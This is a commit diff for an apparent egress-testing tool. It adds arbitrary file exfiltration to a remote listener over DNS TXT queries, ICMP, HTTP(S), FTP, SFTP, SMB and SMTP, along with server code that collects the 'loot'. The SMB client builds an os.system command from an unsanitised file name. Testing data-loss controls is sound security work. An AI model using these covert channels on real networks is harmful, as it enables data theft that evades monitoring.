File Transfer Functionality Merge
parent
382d6824a3
commit
965bfded01
|
@ -61,17 +61,27 @@ if __name__ == "__main__":
|
|||
the_conductor.load_client_protocols(cli_parsed)
|
||||
the_conductor.load_datatypes(cli_parsed)
|
||||
|
||||
# Loop through and find the requested datatype
|
||||
for name, datatype_module in the_conductor.datatypes.iteritems():
|
||||
if datatype_module.cli == cli_parsed.datatype.lower():
|
||||
generated_data = datatype_module.generate_data()
|
||||
if cli_parsed.file is None:
|
||||
# Loop through and find the requested datatype
|
||||
for name, datatype_module in the_conductor.datatypes.iteritems():
|
||||
if datatype_module.cli == cli_parsed.datatype.lower():
|
||||
generated_data = datatype_module.generate_data()
|
||||
|
||||
# Once data has been generated, transmit it using the
|
||||
# protocol requested by the user
|
||||
for proto_name, proto_module in the_conductor.client_protocols.iteritems():
|
||||
if proto_module.protocol == cli_parsed.client.lower():
|
||||
proto_module.transmit(generated_data)
|
||||
sys.exit()
|
||||
# Once data has been generated, transmit it using the
|
||||
# protocol requested by the user
|
||||
for proto_name, proto_module in the_conductor.client_protocols.iteritems():
|
||||
if proto_module.protocol == cli_parsed.client.lower():
|
||||
proto_module.transmit(generated_data)
|
||||
sys.exit()
|
||||
|
||||
else:
|
||||
with open(cli_parsed.file, 'rb') as file_data_handle:
|
||||
file_data = file_data_handle.read()
|
||||
|
||||
for proto_name, proto_module in the_conductor.client_protocols.iteritems():
|
||||
if proto_module.protocol == cli_parsed.client.lower():
|
||||
proto_module.transmit(file_data)
|
||||
sys.exit()
|
||||
|
||||
print "[*] Error: You either didn't provide a valid datatype or client protocol to use."
|
||||
print "[*] Error: Re-run and use --list-datatypes or --list-clients to see possible options."
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -49,6 +49,9 @@ def cli_parser():
|
|||
help="Password for FTP server authentication.")
|
||||
|
||||
data_content = parser.add_argument_group('Data Content Options')
|
||||
data_content.add_argument(
|
||||
"--file", default=None, metavar='/root/test.jpg',
|
||||
help="Path to file for exfiltration via Egress-Assess.")
|
||||
data_content.add_argument(
|
||||
"--datatype", default=None, metavar='[ssn]',
|
||||
help="Extract data containing fake social security numbers.")
|
||||
|
@ -65,8 +68,9 @@ def cli_parser():
|
|||
parser.print_help()
|
||||
sys.exit()
|
||||
|
||||
if ((args.server == "ftp" or args.server == "sftp") or (args.client == "ftp" or args.client == "sftp"))\
|
||||
and (args.username is None or args.password is None):
|
||||
if ((args.server == "ftp" or args.server == "sftp") or (
|
||||
args.client == "ftp" or args.client == "sftp")) and (
|
||||
args.username is None or args.password is None):
|
||||
print "[*] Error: FTP or SFTP connections require \
|
||||
a username and password!".replace(' ', '')
|
||||
print "[*] Error: Please re-run and provide the required info!"
|
||||
|
@ -77,7 +81,8 @@ def cli_parser():
|
|||
print "[*] Error: to connect to. Please re-run with required info!"
|
||||
sys.exit()
|
||||
|
||||
if (args.client is not None) and (args.datatype is None):
|
||||
if (args.client is not None) and (args.datatype is None) and (
|
||||
args.file is None):
|
||||
print "[*] Error: You need to tell Egress-Assess the type \
|
||||
of data to send!".replace(' ', '')
|
||||
print "[*] Error: to connect to. Please re-run with required info!"
|
||||
|
|
|
@ -24,7 +24,6 @@ class Datatype:
|
|||
self.cli = ""
|
||||
self.description = ""
|
||||
self.filetype = "text"
|
||||
self.datasize = int(cli_object.data_size)
|
||||
|
||||
# generate is a required function. This is what is called by the framework
|
||||
# to generate the data. Any number of "sub functions" can be created, but
|
||||
|
|
|
@ -17,12 +17,23 @@ class Client:
|
|||
|
||||
def __init__(self, cli_object):
|
||||
self.protocol = "dns"
|
||||
self.length = 35
|
||||
self.remote_server = cli_object.ip
|
||||
self.max_length = 63
|
||||
self.current_total = 0
|
||||
if cli_object.file is None:
|
||||
self.file_transfer = False
|
||||
self.length = 35
|
||||
else:
|
||||
self.length = 35
|
||||
if "/" in cli_object.file:
|
||||
self.file_transfer = cli_object.file.split("/")[-1]
|
||||
else:
|
||||
self.file_transfer = cli_object.file
|
||||
|
||||
def transmit(self, data_to_transmit):
|
||||
|
||||
byte_reader = 0
|
||||
check_total = False
|
||||
packet_number = 1
|
||||
|
||||
# Determine if sending via IP or domain name
|
||||
|
@ -32,30 +43,80 @@ class Client:
|
|||
print "[*] Resolving IP of domain..."
|
||||
final_destination = socket.gethostbyname(self.remote_server)
|
||||
|
||||
while (byte_reader < len(data_to_transmit) + self.length):
|
||||
encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + self.length])
|
||||
# calcalate total packets
|
||||
if ((len(data_to_transmit) % self.length) == 0):
|
||||
total_packets = len(data_to_transmit) / self.length
|
||||
else:
|
||||
total_packets = (len(data_to_transmit) / self.length) + 1
|
||||
self.current_total = total_packets
|
||||
|
||||
# calcalate total packets
|
||||
if ((len(data_to_transmit) % self.length) == 0):
|
||||
total_packets = len(data_to_transmit) / self.length
|
||||
# While loop over the file or data to send
|
||||
while (byte_reader < len(data_to_transmit)):
|
||||
if not self.file_transfer:
|
||||
try:
|
||||
encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + self.length])
|
||||
send(IP(dst=final_destination)/UDP()/DNS(
|
||||
id=15, opcode=0, qd=[DNSQR(
|
||||
qname=encoded_data, qtype="TXT")], aa=1, qr=0),
|
||||
verbose=False)
|
||||
print "Sending data... " + str(packet_number) + "/" + str(total_packets)
|
||||
packet_number += 1
|
||||
byte_reader += self.length
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print "[*] Shutting down..."
|
||||
sys.exit()
|
||||
else:
|
||||
total_packets = (len(data_to_transmit) / self.length) + 1
|
||||
encoded_data = base64.b64encode(str(packet_number) + ".:|:." + data_to_transmit[byte_reader:byte_reader + self.length])
|
||||
|
||||
print "[*] Packet Number/Total Packets: " + str(packet_number) + "/" + str(total_packets)
|
||||
while len(encoded_data) > self.max_length:
|
||||
|
||||
# Craft the packet with scapy
|
||||
try:
|
||||
send(IP(dst=final_destination)/UDP()/DNS(
|
||||
id=15, opcode=0,
|
||||
qd=[DNSQR(qname="egress-assess.com", qtype="TXT")], aa=1, qr=0,
|
||||
an=[DNSRR(rrname=encoded_data, type="TXT", ttl=10)]),
|
||||
verbose=False)
|
||||
except KeyboardInterrupt:
|
||||
print "[*] Shutting down..."
|
||||
sys.exit()
|
||||
self.length -= 1
|
||||
# calcalate total packets
|
||||
if (((len(data_to_transmit) - byte_reader) % self.length) == 0):
|
||||
packet_diff = (len(data_to_transmit) - byte_reader) / self.length
|
||||
else:
|
||||
packet_diff = ((len(data_to_transmit) - byte_reader) / self.length)
|
||||
check_total = True
|
||||
encoded_data = base64.b64encode(str(packet_number) + ".:|:." + data_to_transmit[byte_reader:byte_reader + self.length])
|
||||
|
||||
if check_total:
|
||||
self.current_total = packet_number + packet_diff
|
||||
check_total = False
|
||||
|
||||
print "[*] Packet Number/Total Packets: " + str(packet_number) + "/" + str(self.current_total)
|
||||
|
||||
# Craft the packet with scapy
|
||||
try:
|
||||
while True:
|
||||
|
||||
response_packet = sr1(IP(dst=final_destination)/UDP()/DNS(
|
||||
id=15, opcode=0,
|
||||
qd=[DNSQR(qname=encoded_data, qtype="TXT")], aa=1, qr=0),
|
||||
verbose=False, timeout=2)
|
||||
|
||||
if response_packet:
|
||||
if response_packet.haslayer(DNSRR):
|
||||
dnsrr_strings = repr(response_packet[DNSRR])
|
||||
if str(packet_number) + "allgoodhere" in dnsrr_strings:
|
||||
break
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print "[*] Shutting down..."
|
||||
sys.exit()
|
||||
|
||||
# Increment counters
|
||||
byte_reader += self.length
|
||||
packet_number += 1
|
||||
|
||||
if self.file_transfer is not False:
|
||||
while True:
|
||||
final_packet = sr1(IP(dst=final_destination)/UDP()/DNS(
|
||||
id=15, opcode=0,
|
||||
qd=[DNSQR(qname="ENDTHISFILETRANSMISSIONEGRESSASSESS" + self.file_transfer, qtype="TXT")], aa=1, qr=0),
|
||||
verbose=True, timeout=2)
|
||||
|
||||
if final_packet:
|
||||
break
|
||||
|
||||
return
|
||||
|
|
|
@ -19,6 +19,13 @@ class Client:
|
|||
self.remote_server = cli_object.ip
|
||||
self.username = cli_object.username
|
||||
self.password = cli_object.password
|
||||
if cli_object.file is None:
|
||||
self.file_transfer = False
|
||||
else:
|
||||
if "/" in cli_object.file:
|
||||
self.file_transfer = cli_object.file.split("/")[-1]
|
||||
else:
|
||||
self.file_transfer = cli_object.file
|
||||
|
||||
def transmit(self, data_to_transmit):
|
||||
|
||||
|
@ -34,11 +41,15 @@ class Client:
|
|||
print "[*] Error: Username or password is incorrect! Please re-run."
|
||||
sys.exit()
|
||||
|
||||
ftp_file_name = helpers.writeout_text_data(data_to_transmit)
|
||||
if not self.file_transfer:
|
||||
ftp_file_name = helpers.writeout_text_data(data_to_transmit)
|
||||
|
||||
ftp.storlines(
|
||||
"STOR " + ftp_file_name, open(helpers.ea_path()
|
||||
+ "/" + ftp_file_name))
|
||||
os.remove(helpers.ea_path() + "/" + ftp_file_name)
|
||||
else:
|
||||
ftp.storbinary("STOR " + self.file_transfer, open(self.file_transfer))
|
||||
|
||||
ftp.storlines(
|
||||
"STOR " + ftp_file_name, open(helpers.ea_path()
|
||||
+ "/" + ftp_file_name))
|
||||
ftp.quit()
|
||||
os.remove(helpers.ea_path() + "/" + ftp_file_name)
|
||||
print "[*] File sent!!!"
|
||||
|
|
|
@ -14,18 +14,39 @@ class Client:
|
|||
self.data_to_transmit = ''
|
||||
self.remote_server = cli_object.ip
|
||||
self.protocol = "http"
|
||||
if cli_object.file is None:
|
||||
self.file_transfer = False
|
||||
else:
|
||||
if "/" in cli_object.file:
|
||||
self.file_transfer = cli_object.file.split("/")[-1]
|
||||
else:
|
||||
self.file_transfer = cli_object.file
|
||||
|
||||
def transmit(self, data_to_transmit):
|
||||
# Create the url to post to
|
||||
url = "http://" + self.remote_server + "/post_data.php"
|
||||
|
||||
# Post the data to the web server at the specified URL
|
||||
try:
|
||||
f = urllib2.urlopen(url, data_to_transmit)
|
||||
f.close()
|
||||
print "[*] File sent!!!"
|
||||
except urllib2.URLError:
|
||||
print "[*] Error: Web server may not be active on " + self.remote_server
|
||||
print "[*] Error: Please check server to make sure it is active!"
|
||||
sys.exit()
|
||||
if not self.file_transfer:
|
||||
url = "http://" + self.remote_server + "/post_data.php"
|
||||
|
||||
# Post the data to the web server at the specified URL
|
||||
try:
|
||||
f = urllib2.urlopen(url, data_to_transmit)
|
||||
f.close()
|
||||
print "[*] File sent!!!"
|
||||
except urllib2.URLError:
|
||||
print "[*] Error: Web server may not be active on " + self.remote_server
|
||||
print "[*] Error: Please check server to make sure it is active!"
|
||||
sys.exit()
|
||||
else:
|
||||
url = "http://" + self.remote_server + "/post_file.php"
|
||||
|
||||
try:
|
||||
data_to_transmit = self.file_transfer + ".:::-989-:::." + data_to_transmit
|
||||
f = urllib2.urlopen(url, data_to_transmit)
|
||||
f.close()
|
||||
print "[*] File sent!!!"
|
||||
except urllib2.URLError:
|
||||
print "[*] Error: Web server may not be active on " + self.remote_server
|
||||
print "[*] Error: Please check server to make sure it is active!"
|
||||
sys.exit()
|
||||
|
||||
return
|
||||
|
|
|
@ -14,18 +14,38 @@ class Client:
|
|||
self.data_to_transmit = ''
|
||||
self.remote_server = cli_object.ip
|
||||
self.protocol = "https"
|
||||
if cli_object.file is None:
|
||||
self.file_transfer = False
|
||||
else:
|
||||
if "/" in cli_object.file:
|
||||
self.file_transfer = cli_object.file.split("/")[-1]
|
||||
else:
|
||||
self.file_transfer = cli_object.file
|
||||
|
||||
def transmit(self, data_to_transmit):
|
||||
# Create the url to post to
|
||||
url = "https://" + self.remote_server + "/post_data.php"
|
||||
if not self.file_transfer:
|
||||
url = "https://" + self.remote_server + "/post_data.php"
|
||||
|
||||
# Post the data to the web server at the specified URL
|
||||
try:
|
||||
f = urllib2.urlopen(url, data_to_transmit)
|
||||
f.close()
|
||||
print "[*] File sent!!!"
|
||||
except urllib2.URLError:
|
||||
print "[*] Error: Web server may not be active on " + self.remote_server
|
||||
print "[*] Error: Please check server to make sure it is active!"
|
||||
sys.exit()
|
||||
else:
|
||||
url = "https://" + self.remote_server + "/post_file.php"
|
||||
|
||||
try:
|
||||
data_to_transmit = self.file_transfer + ".:::-989-:::." + data_to_transmit
|
||||
f = urllib2.urlopen(url, data_to_transmit)
|
||||
f.close()
|
||||
print "[*] File sent!!!"
|
||||
except urllib2.URLError:
|
||||
print "[*] Error: Web server may not be active on " + self.remote_server
|
||||
print "[*] Error: Please check server to make sure it is active!"
|
||||
sys.exit()
|
||||
|
||||
# Post the data to the web server at the specified URL
|
||||
try:
|
||||
f = urllib2.urlopen(url, data_to_transmit)
|
||||
f.close()
|
||||
print "[*] File sent!!!"
|
||||
except urllib2.URLError:
|
||||
print "[*] Error: Web server may not be active on " + self.remote_server
|
||||
print "[*] Error: Please check server to make sure it is active!"
|
||||
sys.exit()
|
||||
return
|
||||
|
|
|
@ -21,8 +21,15 @@ class Client:
|
|||
|
||||
def __init__(self, cli_object):
|
||||
self.protocol = "icmp"
|
||||
self.length = 1100 # Number of cleartext characters allowed before b64 encoded
|
||||
self.length = 1050 # Number of cleartext characters allowed before b64 encoded
|
||||
self.remote_server = cli_object.ip
|
||||
if cli_object.file is None:
|
||||
self.file_transfer = False
|
||||
else:
|
||||
if "/" in cli_object.file:
|
||||
self.file_transfer = cli_object.file.split("/")[-1]
|
||||
else:
|
||||
self.file_transfer = cli_object.file
|
||||
|
||||
def transmit(self, data_to_transmit):
|
||||
|
||||
|
@ -37,7 +44,11 @@ class Client:
|
|||
final_destination = socket.gethostbyname(self.remote_server)
|
||||
|
||||
while (byte_reader < len(data_to_transmit) + self.length):
|
||||
encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + self.length])
|
||||
if not self.file_transfer:
|
||||
encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + self.length])
|
||||
else:
|
||||
encoded_data = base64.b64encode(self.file_transfer +
|
||||
".:::-989-:::." + data_to_transmit[byte_reader:byte_reader + self.length])
|
||||
|
||||
# calcalate total packets
|
||||
if ((len(data_to_transmit) % self.length) == 0):
|
||||
|
|
|
@ -21,24 +21,44 @@ class Client:
|
|||
self.username = cli_object.username
|
||||
self.password = cli_object.password
|
||||
self.remote_system = cli_object.ip
|
||||
if cli_object.file is None:
|
||||
self.file_transfer = False
|
||||
else:
|
||||
if "/" in cli_object.file:
|
||||
self.file_transfer = cli_object.file.split("/")[-1]
|
||||
else:
|
||||
self.file_transfer = cli_object.file
|
||||
|
||||
def transmit(self, data_to_transmit):
|
||||
|
||||
print "[*] Transmitting data..."
|
||||
|
||||
sftp_file_name = helpers.writeout_text_data(data_to_transmit)
|
||||
full_path = helpers.ea_path() + "/" + sftp_file_name
|
||||
if not self.file_transfer:
|
||||
sftp_file_name = helpers.writeout_text_data(data_to_transmit)
|
||||
full_path = helpers.ea_path() + "/" + sftp_file_name
|
||||
|
||||
transport = paramiko.Transport(self.remote_system)
|
||||
transport.connect(username=self.username, password=self.password)
|
||||
sftp = paramiko.SFTPClient.from_transport(transport)
|
||||
sftp.put(full_path, '/' + sftp_file_name)
|
||||
transport = paramiko.Transport(self.remote_system)
|
||||
transport.connect(username=self.username, password=self.password)
|
||||
sftp = paramiko.SFTPClient.from_transport(transport)
|
||||
sftp.put(full_path, '/' + sftp_file_name)
|
||||
|
||||
# close sftp connection
|
||||
sftp.close()
|
||||
transport.close()
|
||||
# close sftp connection
|
||||
sftp.close()
|
||||
transport.close()
|
||||
|
||||
os.remove(sftp_file_name)
|
||||
os.remove(sftp_file_name)
|
||||
else:
|
||||
transport = paramiko.Transport(self.remote_system)
|
||||
transport.connect(username=self.username, password=self.password)
|
||||
sftp = paramiko.SFTPClient.from_transport(transport)
|
||||
if "/" in self.file_transfer:
|
||||
sftp.put(self.file_transfer, '/' + self.file_transfer.split("/")[-1])
|
||||
else:
|
||||
sftp.put(self.file_transfer, '/' + self.file_transfer)
|
||||
|
||||
# close sftp connection
|
||||
sftp.close()
|
||||
transport.close()
|
||||
|
||||
print "[*] Data sent!"
|
||||
|
||||
|
|
|
@ -0,0 +1,73 @@
|
|||
'''
|
||||
|
||||
This is the template that should be used for client modules.
|
||||
A brief description of the client module can/should be placed
|
||||
up here. All necessary imports should be placed between the
|
||||
comments and class declaration.
|
||||
|
||||
Finally, be sure to rename your client module to a .py file
|
||||
|
||||
'''
|
||||
|
||||
import os
|
||||
from common import helpers
|
||||
|
||||
|
||||
class Client:
|
||||
|
||||
# Within __init__, you have access to everything passed in
|
||||
# via the command line. self.protocol is the variable listed
|
||||
# when running --list-clients and is what is used in conjunction
|
||||
# with --client <client>. self.protocol is the only required attribute
|
||||
# of the object.
|
||||
def __init__(self, cli_object):
|
||||
self.protocol = "smb"
|
||||
self.remote_server = cli_object.ip
|
||||
if cli_object.file is None:
|
||||
self.file_transfer = False
|
||||
else:
|
||||
if "/" in cli_object.file:
|
||||
self.file_transfer = cli_object.file.split("/")[-1]
|
||||
else:
|
||||
self.file_transfer = cli_object.file
|
||||
|
||||
# transmit is the only required function within the object. It is what
|
||||
# called by the framework to transmit data. However, you can create as
|
||||
# many "sub functions" for transmit to invoke as needed. "data_to_transmit"
|
||||
# is a variable passed in by the framework which contains the data that
|
||||
# is to be sent out by the client.
|
||||
def transmit(self, data_to_transmit):
|
||||
|
||||
# find current directory, make directory for mounting share
|
||||
# current directory
|
||||
exfil_directory = os.path.join(os.getcwd(), "mount")
|
||||
mount_path = exfil_directory + "/"
|
||||
|
||||
# Check to make sure the agent directory exists, and a loot
|
||||
# directory for the agent. If not, make them
|
||||
if not os.path.isdir(mount_path):
|
||||
os.makedirs(mount_path)
|
||||
|
||||
# Base command to copy file over smb
|
||||
smb_command = "smbclient \\\\\\\\" + self.remote_server + "\\\\\\DATA -N -c \"put "
|
||||
|
||||
# If using a file, copy it, else write to disk and then copy
|
||||
if not self.file_transfer:
|
||||
smb_file_name = helpers.writeout_text_data(data_to_transmit)
|
||||
smb_full_path = helpers.ea_path() + "/" + smb_file_name
|
||||
|
||||
smb_command += smb_file_name + "\""
|
||||
|
||||
else:
|
||||
smb_command += self.file_transfer + "\""
|
||||
smb_file_name = self.file_transfer
|
||||
|
||||
print smb_command
|
||||
os.system(smb_command)
|
||||
|
||||
if not self.file_transfer:
|
||||
os.remove(smb_full_path)
|
||||
|
||||
print "[*] File Transmitted!"
|
||||
|
||||
return
|
|
@ -7,7 +7,10 @@ http://pymotw.com/2/smtpd/
|
|||
|
||||
import smtplib
|
||||
import email.utils
|
||||
from email import Encoders
|
||||
from email.MIMEBase import MIMEBase
|
||||
from email.mime.text import MIMEText
|
||||
from email.MIMEMultipart import MIMEMultipart
|
||||
|
||||
|
||||
class Client:
|
||||
|
@ -20,6 +23,13 @@ class Client:
|
|||
def __init__(self, cli_object):
|
||||
self.protocol = "smtp"
|
||||
self.remote_server = cli_object.ip
|
||||
if cli_object.file is None:
|
||||
self.file_transfer = False
|
||||
else:
|
||||
if "/" in cli_object.file:
|
||||
self.file_transfer = cli_object.file.split("/")[-1]
|
||||
else:
|
||||
self.file_transfer = cli_object.file
|
||||
|
||||
# transmit is the only required function within the object. It is what
|
||||
# called by the framework to transmit data. However, you can create as
|
||||
|
@ -30,11 +40,23 @@ class Client:
|
|||
|
||||
print "[*] Sending data over e-mail..."
|
||||
|
||||
# Create the message
|
||||
msg = MIMEText('This is the data to exfil:\n\n' + data_to_transmit)
|
||||
msg['To'] = email.utils.formataddr(('Server', 'server@egress-assess.com'))
|
||||
msg['From'] = email.utils.formataddr(('Tester', 'tester@egress-assess.com'))
|
||||
msg['Subject'] = 'Egress-Assess Exfil Data'
|
||||
if not self.file_transfer:
|
||||
# Create the message
|
||||
msg = MIMEText('This is the data to exfil:\n\n' + data_to_transmit)
|
||||
msg['To'] = email.utils.formataddr(('Server', 'server@egress-assess.com'))
|
||||
msg['From'] = email.utils.formataddr(('Tester', 'tester@egress-assess.com'))
|
||||
msg['Subject'] = 'Egress-Assess Exfil Data'
|
||||
else:
|
||||
msg = MIMEMultipart()
|
||||
msg['Subject'] = 'Egress-Assess Exfil Data'
|
||||
msg['From'] = email.utils.formataddr(('Tester', 'tester@egress-assess.com'))
|
||||
msg['To'] = email.utils.formataddr(('Server', 'server@egress-assess.com'))
|
||||
|
||||
part = MIMEBase('application', "octet-stream")
|
||||
part.set_payload(open(self.file_transfer, "rb").read())
|
||||
Encoders.encode_base64(part)
|
||||
part.add_header('Content-Disposition', 'attachment; filename=' + self.file_transfer)
|
||||
msg.attach(part)
|
||||
|
||||
server = smtplib.SMTP(self.remote_server, 25)
|
||||
server.set_debuglevel(False)
|
||||
|
|
|
@ -19,21 +19,49 @@ class Server:
|
|||
self.last_packet = ''
|
||||
self.file_name = ''
|
||||
self.loot_path = ''
|
||||
self.file_dict = {}
|
||||
self.file_status = ''
|
||||
|
||||
def customAction(self, packet):
|
||||
|
||||
if packet.haslayer(DNSRR):
|
||||
dnsrr_strings = repr(packet[DNSRR])
|
||||
try:
|
||||
incoming_data = base64.b64decode(dnsrr_strings.split('\'')[1].rstrip('.'))
|
||||
if incoming_data == self.last_packet:
|
||||
pass
|
||||
else:
|
||||
with open(self.loot_path + self.file_name, 'a') as dns_out:
|
||||
dns_out.write(incoming_data)
|
||||
self.last_packet = incoming_data
|
||||
except TypeError:
|
||||
pass
|
||||
if packet.haslayer(DNSQR):
|
||||
dnsqr_strings = repr(packet[DNSQR])
|
||||
if "ENDTHISFILETRANSMISSIONEGRESSASSESS" in dnsqr_strings:
|
||||
self.file_name = dnsqr_strings.split('\'')[1].rstrip('.').split('ENDTHISFILETRANSMISSIONEGRESSASSESS')[1]
|
||||
with open(self.loot_path + self.file_name, 'a') as\
|
||||
dns_out:
|
||||
for dict_key in xrange(1, int(self.file_status) + 1):
|
||||
dns_out.write(self.file_dict[str(dict_key)])
|
||||
sys.exit()
|
||||
else:
|
||||
try:
|
||||
incoming_data = base64.b64decode(dnsqr_strings.split('\'')[1].rstrip('.'))
|
||||
if ".:|:." in incoming_data:
|
||||
self.file_status = incoming_data.split(".:|:.")[0]
|
||||
file_data = incoming_data.split(".:|:.")[1]
|
||||
if self.file_status in self.file_dict:
|
||||
pass
|
||||
else:
|
||||
self.file_dict[self.file_status] = file_data
|
||||
|
||||
outgoing_data = self.file_status + "allgoodhere"
|
||||
|
||||
# This function from http://bb.secdev.org/scapy/issue/500/les-r-ponses-dns-de-type-txt-sont-malform
|
||||
for i in range(0, len(outgoing_data), 0xff+1):
|
||||
outgoing_data = outgoing_data[:i] + chr(len(outgoing_data[i:i+0xff])) + outgoing_data[i:]
|
||||
|
||||
send(IP(dst=packet[IP].src)/UDP(dport=packet[UDP].sport, sport=53)/DNS(id=packet[DNS].id, qr=1,
|
||||
qd=[DNSQR(qname=dnsqr_strings.split('\'')[1].rstrip('.'), qtype=packet[DNSQR].qtype)],
|
||||
an=[DNSRR(rrname=dnsqr_strings.split('\'')[1].rstrip('.'), rdata=outgoing_data, type=packet[DNSQR].qtype)]),
|
||||
verbose=False)
|
||||
|
||||
else:
|
||||
with open(self.loot_path + self.file_name, 'a') as dns_out:
|
||||
dns_out.write(incoming_data)
|
||||
self.last_packet = incoming_data
|
||||
except TypeError:
|
||||
print "[*] Potentially received a malformed DNS packet!"
|
||||
|
||||
return
|
||||
|
||||
def serve(self):
|
||||
|
@ -51,5 +79,5 @@ class Server:
|
|||
"_" + current_time.replace(":", "") + "text_data.txt"
|
||||
|
||||
print "[*] DNS server started!"
|
||||
sniff(prn=self.customAction)
|
||||
sniff(prn=self.customAction, store=0)
|
||||
return
|
||||
|
|
|
@ -4,6 +4,7 @@ This is the code for the web server
|
|||
|
||||
'''
|
||||
|
||||
import os
|
||||
import socket
|
||||
import sys
|
||||
from protocols.servers.serverlibs.web import base_handler
|
||||
|
@ -22,7 +23,7 @@ class Server:
|
|||
# bind to all interfaces
|
||||
Thread(target=self.serve_on_port).start()
|
||||
print "[*] Web server is currently running"
|
||||
print "[*] Type \"killall -9 python\" to stop the web server."
|
||||
print "[*] Type \"kill -9 " + str(os.getpid()) + "\" to stop the web server."
|
||||
# handle keyboard interrupts
|
||||
except KeyboardInterrupt:
|
||||
print "[!] Rage quiting, and stopping the web server!"
|
||||
|
|
|
@ -4,6 +4,7 @@ This is the code for the web server
|
|||
|
||||
'''
|
||||
|
||||
import os
|
||||
import socket
|
||||
import ssl
|
||||
import sys
|
||||
|
@ -24,7 +25,7 @@ class Server:
|
|||
# bind to all interfaces
|
||||
Thread(target=self.serve_on_port).start()
|
||||
print "[*] Web server is currently running"
|
||||
print "[*] Type \"killall -9 python\" to stop the web server."
|
||||
print "[*] Type \"kill -9 " + str(os.getpid()) + "\" to stop the web server."
|
||||
# handle keyboard interrupts
|
||||
except KeyboardInterrupt:
|
||||
print "[!] Rage quiting, and stopping the web server!"
|
||||
|
|
|
@ -33,9 +33,18 @@ class Server:
|
|||
if incoming_data == self.last_packet:
|
||||
pass
|
||||
else:
|
||||
with open(self.loot_path + self.file_name, 'a') as icmp_out:
|
||||
icmp_out.write(incoming_data)
|
||||
self.last_packet = incoming_data
|
||||
if ".:::-989-:::." in incoming_data:
|
||||
file_name = incoming_data.split(".:::-989-:::.")[0]
|
||||
file_data = incoming_data.split(".:::-989-:::.")[1]
|
||||
with open(self.loot_path + file_name, 'a') as\
|
||||
icmp_out:
|
||||
icmp_out.write(file_data)
|
||||
self.last_packet = incoming_data
|
||||
else:
|
||||
with open(self.loot_path + self.file_name, 'a') as\
|
||||
icmp_out:
|
||||
icmp_out.write(incoming_data)
|
||||
self.last_packet = incoming_data
|
||||
except TypeError:
|
||||
pass
|
||||
except IndexError:
|
||||
|
|
|
@ -1,5 +1,8 @@
|
|||
# Code from http://pymotw.com/2/smtpd/
|
||||
# Code from https://github.com/trentrichardson/Python-Email-Dissector/blob/master/EDHelpers/EDServer.py
|
||||
|
||||
import base64
|
||||
from email.parser import Parser
|
||||
import smtpd
|
||||
import time
|
||||
from common import helpers
|
||||
|
@ -8,6 +11,7 @@ from common import helpers
|
|||
class CustomSMTPServer(smtpd.SMTPServer):
|
||||
|
||||
def process_message(self, peer, mailfrom, rcpttos, data):
|
||||
|
||||
print 'Receiving message from:', peer
|
||||
print 'Message addressed from:', mailfrom
|
||||
print 'Message addressed to :', rcpttos
|
||||
|
@ -15,12 +19,44 @@ class CustomSMTPServer(smtpd.SMTPServer):
|
|||
|
||||
loot_directory = helpers.ea_path() + '/data'
|
||||
|
||||
current_date = time.strftime("%m/%d/%Y")
|
||||
current_time = time.strftime("%H:%M:%S")
|
||||
file_name = current_date.replace("/", "") +\
|
||||
"_" + current_time.replace(":", "") + "email_data.txt"
|
||||
p = Parser()
|
||||
msgobj = p.parsestr(data)
|
||||
for part in msgobj.walk():
|
||||
attachment = self.email_parse_attachment(part)
|
||||
if type(attachment) is dict and 'filedata' in attachment:
|
||||
decoded_file_data = base64.b64decode(attachment['filedata'])
|
||||
attach_file_name = attachment['filename']
|
||||
with open(loot_directory + "/" + attach_file_name, 'wb') as attached_file:
|
||||
attached_file.write(decoded_file_data)
|
||||
else:
|
||||
current_date = time.strftime("%m/%d/%Y")
|
||||
current_time = time.strftime("%H:%M:%S")
|
||||
file_name = current_date.replace("/", "") +\
|
||||
"_" + current_time.replace(":", "") + "email_data.txt"
|
||||
|
||||
with open(loot_directory + "/" + file_name, 'w') as email_file:
|
||||
email_file.write(data)
|
||||
with open(loot_directory + "/" + file_name, 'w') as email_file:
|
||||
email_file.write(data)
|
||||
|
||||
return
|
||||
|
||||
def email_parse_attachment(self, message_part):
|
||||
|
||||
content_disposition = message_part.get("Content-Disposition", None)
|
||||
if content_disposition:
|
||||
dispositions = content_disposition.strip().split(";")
|
||||
if bool(content_disposition and dispositions[0].lower() == "attachment"):
|
||||
attachment = {
|
||||
'filedata': message_part.get_payload(),
|
||||
'content_type': message_part.get_content_type(),
|
||||
'filename': "default"
|
||||
}
|
||||
for param in dispositions[1:]:
|
||||
name,value = param.split("=")
|
||||
name = name.strip().lower()
|
||||
|
||||
if name == "filename":
|
||||
attachment['filename'] = value.replace('"','')
|
||||
|
||||
return attachment
|
||||
|
||||
return None
|
|
@ -56,6 +56,25 @@ class GetHandler(BaseHTTPRequestHandler):
|
|||
with open(loot_path + screenshot_name, 'w') as cc_data_file:
|
||||
cc_data_file.write(screen_data)
|
||||
|
||||
elif uri_posted == "post_file.php":
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
|
||||
# Check to make sure the agent directory exists, and a loot
|
||||
# directory for the agent. If not, make them
|
||||
if not os.path.isdir(loot_path):
|
||||
os.makedirs(loot_path)
|
||||
|
||||
# Read the length of the screenshot file being uploaded
|
||||
screen_length = self.headers['content-length']
|
||||
screen_data = self.rfile.read(int(screen_length))
|
||||
|
||||
file_name = screen_data.split(".:::-989-:::.")[0]
|
||||
file_data = screen_data.split(".:::-989-:::.")[1]
|
||||
|
||||
with open(loot_path + file_name, 'wb') as cc_data_file:
|
||||
cc_data_file.write(file_data)
|
||||
|
||||
# All other Post requests
|
||||
else:
|
||||
|
||||
|
|
|
@ -0,0 +1,43 @@
|
|||
'''
|
||||
|
||||
This is the code for the web server
|
||||
|
||||
'''
|
||||
|
||||
import os
|
||||
from impacket import smbserver
|
||||
|
||||
|
||||
class Server:
|
||||
|
||||
def __init__(self, cli_object):
|
||||
self.protocol = "smb"
|
||||
|
||||
def serve(self):
|
||||
try:
|
||||
|
||||
# current directory
|
||||
exfil_directory = os.path.join(os.getcwd(), "data")
|
||||
loot_path = exfil_directory + "/"
|
||||
|
||||
# Check to make sure the agent directory exists, and a loot
|
||||
# directory for the agent. If not, make them
|
||||
